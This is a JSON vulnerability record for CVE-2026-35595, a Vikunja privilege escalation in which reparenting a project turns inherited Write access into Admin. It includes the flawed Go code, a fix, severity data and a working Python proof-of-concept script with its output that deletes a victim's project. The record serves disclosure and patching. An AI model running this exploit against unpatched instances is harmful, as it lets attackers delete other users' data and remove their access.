{"id":"CVE-2026-35595","aliases":["CVE-2026-35595","GHSA-2vq4-854f-5c72","GO-2026-4952"],"related":[],"kind":"vulnerability","state":"published","title":"Vikunja Affected by Privilege Escalation via Project Reparenting","summary":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CanUpdate check at pkg/models/project_permissions.go:139-148 only requires CanWrite on the new parent project when changing parent_project_id. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. This vulnerability is fixed in 2.3.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.\n\n## Details\n\nThe `CanUpdate` check at `pkg/models/project_permissions.go:139-148` only requires `CanWrite` on the new parent project when changing `parent_project_id`. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.\n\nWhen a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```\n1. victim creates \"Parent Project\" (id=3)\n2. victim creates \"Secret Child\" (id=4) under Parent Project\n3. victim shares Parent Project with attacker at Write level (permission=1)\n   -> attacker inherits Write on Secret Child (no direct share)\n4. attacker creates own \"Attacker Root\" project (id=5)\n5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden\n6. attacker sends: POST /api/v1/projects/4 {\"title\":\"Secret Child\",\"parent_project_id\":5}\n   -> 200 OK (reparenting succeeds, only requires Write)\n7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK\n   -> Project deleted. victim gets 404.\n```\n\n```python                                                                                                                                                                                                                                                                                                        \nimport requests                                                                                                                                                                                                                                                                                                    \n                                                                                                                                                                                                                                                                                                                \nTARGET = \"http://localhost:3456\"                                                                                                                                                                                                                                                                                 \nAPI = f\"{TARGET}/api/v1\"  \n                                        \ndef login(u, p):                     \n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n                                        \ndef h(token):  \n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n                                                                                                                                                                                                                                                                                                                    \nvictim_token = login(\"victim\", \"Victim123!\")\nattacker_token = login(\"attacker\", \"Attacker123!\")                                                                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                                                                                                \n# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               \nparent = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Parent Project\"}).json()\nchild = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Secret Child\", \"parent_project_id\": parent[\"id\"]}).json()\n\n# victim shares parent with attacker at Write (attacker inherits Write on child)\nrequests.put(f\"{API}/projects/{parent['id']}/users\", headers=h(victim_token),\n            json={\"username\": \"attacker\", \"permission\": 1})\n\n# attacker creates own root project\nown = requests.put(f\"{API}/projects\", headers=h(attacker_token),\n                    json={\"title\": \"Attacker Root\"}).json()\n\n# before: attacker cannot delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE before reparent: {r.status_code}\")  # 403\n\n# exploit: reparent child under attacker's project\nr = requests.post(f\"{API}/projects/{child['id']}\", headers=h(attacker_token),\n                json={\"title\": \"Secret Child\", \"parent_project_id\": own[\"id\"]})\nprint(f\"Reparent: {r.status_code}\")  # 200\n\n# after: attacker can now delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE after reparent: {r.status_code}\")  # 200 - escalated to Admin\n\n# victim lost access\nr = requests.get(f\"{API}/projects/{child['id']}\", headers=h(victim_token))\nprint(f\"Victim access: {r.status_code}\")  # 404 - project gone\n```\n\nOutput:\n```\nDELETE before reparent: 403\nReparent: 200\nDELETE after reparent: 200\nVictim access: 404\n```\n\nThe attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.\n\n## Impact\n\nAny user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.\n\n## Recommended Fix\n\nRequire Admin permission instead of Write when changing `parent_project_id`:\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n    canAdmin, err := p.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !canAdmin {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","format":"markdown","source":"ghsa"},{"lang":"en","text":"Vikunja vulnerable to Privilege Escalation via Project Reparenting in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","format":"markdown","source":"go"},{"lang":"es","text":"Vikunja es una plataforma de gestión de tareas de código abierto y autoalojada. Antes de la versión 2.3.0, la comprobación CanUpdate en pkg/models/project_permissions.go:139-148 solo requiere CanWrite en el nuevo proyecto padre al cambiar el parent_project_id. Sin embargo, el modelo de permisos de Vikunja utiliza una CTE recursiva que recorre la jerarquía del proyecto para calcular los permisos. Mover un proyecto bajo un padre diferente cambia la cadena de herencia de permisos. Cuando un usuario ha heredado acceso de escritura (de un recurso compartido de proyecto padre) y reasigna el proyecto hijo bajo su propio árbol de proyectos, la CTE resuelve su propiedad del nuevo padre como Administrador (nivel de permiso 2) en el proyecto movido. Esta vulnerabilidad se corrige en la versión 2.3.0.","source":"nvd"}],"published":"2026-04-10T15:33:50.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","score":8.3,"rating":"HIGH"}],"cwes":["CWE-269"],"affected":[{"ranges":[{"version":"< 2.3.0","status":"affected"}],"vendor":"go-vikunja","product":"vikunja","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.3.0"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"code.vikunja.io/api","purl":"pkg:golang/code.vikunja.io/api","source":"go"},{"ranges":[{"status":"affected","fixed":"2.3.0"}],"vendor":"vikunja","product":"vikunja","cpe":"cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/pull/2583","tags":["issue-tracking","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35595","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/go-vikunja/vikunja","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-10T18:16:09.962Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-35595","url":"https://www.cve.org/CVERecord?id=CVE-2026-35595","licence":"CVE Terms of Use","modified":"2026-04-10T18:16:18.230Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2vq4-854f-5c72","url":"https://github.com/advisories/GHSA-2vq4-854f-5c72","licence":"CC-BY-4.0","modified":"2026-06-08T20:08:25.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4952","url":"https://pkg.go.dev/vuln/GO-2026-4952","licence":"CC-BY-4.0","modified":"2026-05-20T19:30:11.535Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-35595","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35595","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:18.505Z","epss":{"score":0.00302,"percentile":0.24706,"date":"2026-12-01T12:00:22.000Z"}}